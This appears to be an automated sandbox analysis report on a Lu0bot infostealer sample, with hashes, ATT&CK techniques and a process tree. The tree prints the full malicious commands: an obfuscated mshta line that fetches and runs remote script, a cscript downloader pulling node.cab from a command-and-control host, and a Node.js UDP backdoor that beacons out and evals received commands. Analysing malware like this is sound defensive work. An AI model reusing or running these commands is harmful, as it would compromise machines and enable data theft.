lu0bot | 2828e711f09ecf56ea9f8125361c7aa9301787d35eac993c1de86e24acfee49c

Analysis

max time kernel
150s
max time network
156s
platform
windows10_x64
resource
win10v20210408
submitted
21-07-2021 08:42

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General

Target

usfive_20210721-104153.exe
Size

3KB
MD5

876cfa83c871bc2271cf0a6edfa83ca6
SHA1

8167442ce336011ce497bbe979fb8ece5a8d3a91
SHA256

2828e711f09ecf56ea9f8125361c7aa9301787d35eac993c1de86e24acfee49c
SHA512

c56641934d1ecafa9f2483d4daeb4dbb0b38b1636e34aee0380d4daf537bfdf09509bb79de8e9657efc614dd03e8ca3fc37652d7a1cd8be34565948d16be4fbd

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1796	mshta.exe
12	756	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3472	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3852	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2872	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
736	ipconfig.exe
1972	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
732	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\7aff5132913a8580:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:fd3f10f769f5ebaf953d762d1e7dc008	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3472	node.exe
3472	node.exe
3472	node.exe
3472	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1816	wmic.exe
Token: SeSecurityPrivilege	1816	wmic.exe
Token: SeTakeOwnershipPrivilege	1816	wmic.exe
Token: SeLoadDriverPrivilege	1816	wmic.exe
Token: SeSystemProfilePrivilege	1816	wmic.exe
Token: SeSystemtimePrivilege	1816	wmic.exe
Token: SeProfSingleProcessPrivilege	1816	wmic.exe
Token: SeIncBasePriorityPrivilege	1816	wmic.exe
Token: SeCreatePagefilePrivilege	1816	wmic.exe
Token: SeBackupPrivilege	1816	wmic.exe
Token: SeRestorePrivilege	1816	wmic.exe
Token: SeShutdownPrivilege	1816	wmic.exe
Token: SeDebugPrivilege	1816	wmic.exe
Token: SeSystemEnvironmentPrivilege	1816	wmic.exe
Token: SeRemoteShutdownPrivilege	1816	wmic.exe
Token: SeUndockPrivilege	1816	wmic.exe
Token: SeManageVolumePrivilege	1816	wmic.exe
Token: 33	1816	wmic.exe
Token: 34	1816	wmic.exe
Token: 35	1816	wmic.exe
Token: 36	1816	wmic.exe
Token: SeIncreaseQuotaPrivilege	1816	wmic.exe
Token: SeSecurityPrivilege	1816	wmic.exe
Token: SeTakeOwnershipPrivilege	1816	wmic.exe
Token: SeLoadDriverPrivilege	1816	wmic.exe
Token: SeSystemProfilePrivilege	1816	wmic.exe
Token: SeSystemtimePrivilege	1816	wmic.exe
Token: SeProfSingleProcessPrivilege	1816	wmic.exe
Token: SeIncBasePriorityPrivilege	1816	wmic.exe
Token: SeCreatePagefilePrivilege	1816	wmic.exe
Token: SeBackupPrivilege	1816	wmic.exe
Token: SeRestorePrivilege	1816	wmic.exe
Token: SeShutdownPrivilege	1816	wmic.exe
Token: SeDebugPrivilege	1816	wmic.exe
Token: SeSystemEnvironmentPrivilege	1816	wmic.exe
Token: SeRemoteShutdownPrivilege	1816	wmic.exe
Token: SeUndockPrivilege	1816	wmic.exe
Token: SeManageVolumePrivilege	1816	wmic.exe
Token: 33	1816	wmic.exe
Token: 34	1816	wmic.exe
Token: 35	1816	wmic.exe
Token: 36	1816	wmic.exe
Token: SeDebugPrivilege	1972	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 1796	992	usfive_20210721-104153.exe	71
PID 992 wrote to memory of 1796	992	usfive_20210721-104153.exe	71
PID 992 wrote to memory of 1796	992	usfive_20210721-104153.exe	71
PID 1796 wrote to memory of 3264	1796	mshta.exe	76
PID 1796 wrote to memory of 3264	1796	mshta.exe	76
PID 1796 wrote to memory of 3264	1796	mshta.exe	76
PID 3264 wrote to memory of 756	3264	cmd.exe	78
PID 3264 wrote to memory of 756	3264	cmd.exe	78
PID 3264 wrote to memory of 756	3264	cmd.exe	78
PID 3264 wrote to memory of 3232	3264	cmd.exe	79
PID 3264 wrote to memory of 3232	3264	cmd.exe	79
PID 3264 wrote to memory of 3232	3264	cmd.exe	79
PID 3264 wrote to memory of 932	3264	cmd.exe	80
PID 3264 wrote to memory of 932	3264	cmd.exe	80
PID 3264 wrote to memory of 932	3264	cmd.exe	80
PID 932 wrote to memory of 3472	932	cscript.exe	81
PID 932 wrote to memory of 3472	932	cscript.exe	81
PID 932 wrote to memory of 3472	932	cscript.exe	81
PID 3472 wrote to memory of 1808	3472	node.exe	85
PID 3472 wrote to memory of 1808	3472	node.exe	85
PID 3472 wrote to memory of 1808	3472	node.exe	85
PID 3472 wrote to memory of 3760	3472	node.exe	86
PID 3472 wrote to memory of 3760	3472	node.exe	86
PID 3472 wrote to memory of 3760	3472	node.exe	86
PID 3472 wrote to memory of 3852	3472	node.exe	87
PID 3472 wrote to memory of 3852	3472	node.exe	87
PID 3472 wrote to memory of 3852	3472	node.exe	87
PID 3472 wrote to memory of 3768	3472	node.exe	88
PID 3472 wrote to memory of 3768	3472	node.exe	88
PID 3472 wrote to memory of 3768	3472	node.exe	88
PID 3472 wrote to memory of 3236	3472	node.exe	89
PID 3472 wrote to memory of 3236	3472	node.exe	89
PID 3472 wrote to memory of 3236	3472	node.exe	89
PID 3472 wrote to memory of 2872	3472	node.exe	91
PID 3472 wrote to memory of 2872	3472	node.exe	91
PID 3472 wrote to memory of 2872	3472	node.exe	91
PID 3472 wrote to memory of 1816	3472	node.exe	92
PID 3472 wrote to memory of 1816	3472	node.exe	92
PID 3472 wrote to memory of 1816	3472	node.exe	92
PID 3472 wrote to memory of 736	3472	node.exe	93
PID 3472 wrote to memory of 736	3472	node.exe	93
PID 3472 wrote to memory of 736	3472	node.exe	93
PID 3472 wrote to memory of 808	3472	node.exe	94
PID 3472 wrote to memory of 808	3472	node.exe	94
PID 3472 wrote to memory of 808	3472	node.exe	94
PID 3472 wrote to memory of 1972	3472	node.exe	95
PID 3472 wrote to memory of 1972	3472	node.exe	95
PID 3472 wrote to memory of 1972	3472	node.exe	95
PID 3472 wrote to memory of 732	3472	node.exe	96
PID 3472 wrote to memory of 732	3472	node.exe	96
PID 3472 wrote to memory of 732	3472	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3236	attrib.exe
3768	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210721-104153.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210721-104153.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:992
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();119;y=unescape('%375%7Eh%74t%70%3A%2F%2F%61s%750%34%2E%73h%6Fp%2Fh%72i%2F%3F%321%616%654%62%7E%316%37').split('~');202;try{x='WinHttp';91;x=new ActiveXObject(x+'.'+x+'Request.5.1');142;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);206;x.send();73;y='ipt.S';208;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);255;}catch(e){};175;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626856975840.txt & cscript /nologo /e:jscript get1626856975840.txt "http%3A%2F%2Fasu04.shop%2Fhri%2F%3F2adc3e24f%26b%3D6d9949eb" node.cab & expand node.cab node.exe & del get1626856975840.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626856975840.txt & cscript /nologo /e:jscript get1626856975840.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27adc3e24f%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626856975840.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3264
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626856975840.txt "http%3A%2F%2Fasu04.shop%2Fhri%2F%3F2adc3e24f%26b%3D6d9949eb" node.cab
      4⤵
      Blocklisted process makes network request
      PID:756
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3232
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626856975840.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27adc3e24f%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:932
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27adc3e24f%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3472
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:1808
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3760
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3852
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3768
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3236
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2872
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:736
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:808
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:1972
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3472-130-0x0000000024900000-0x0000000024901000-memory.dmp

Filesize
4KB

Download
memory/3472-129-0x000000002D800000-0x000000002D801000-memory.dmp

Filesize
4KB

Download
memory/3472-128-0x0000000016F00000-0x0000000016F01000-memory.dmp

Filesize
4KB

Download
memory/3472-127-0x0000000027900000-0x0000000027901000-memory.dmp

Filesize
4KB

Download
memory/3472-125-0x0000000004500000-0x0000000004501000-memory.dmp

Filesize
4KB

Download
memory/3472-126-0x0000000017C00000-0x0000000017C01000-memory.dmp

Filesize
4KB

Download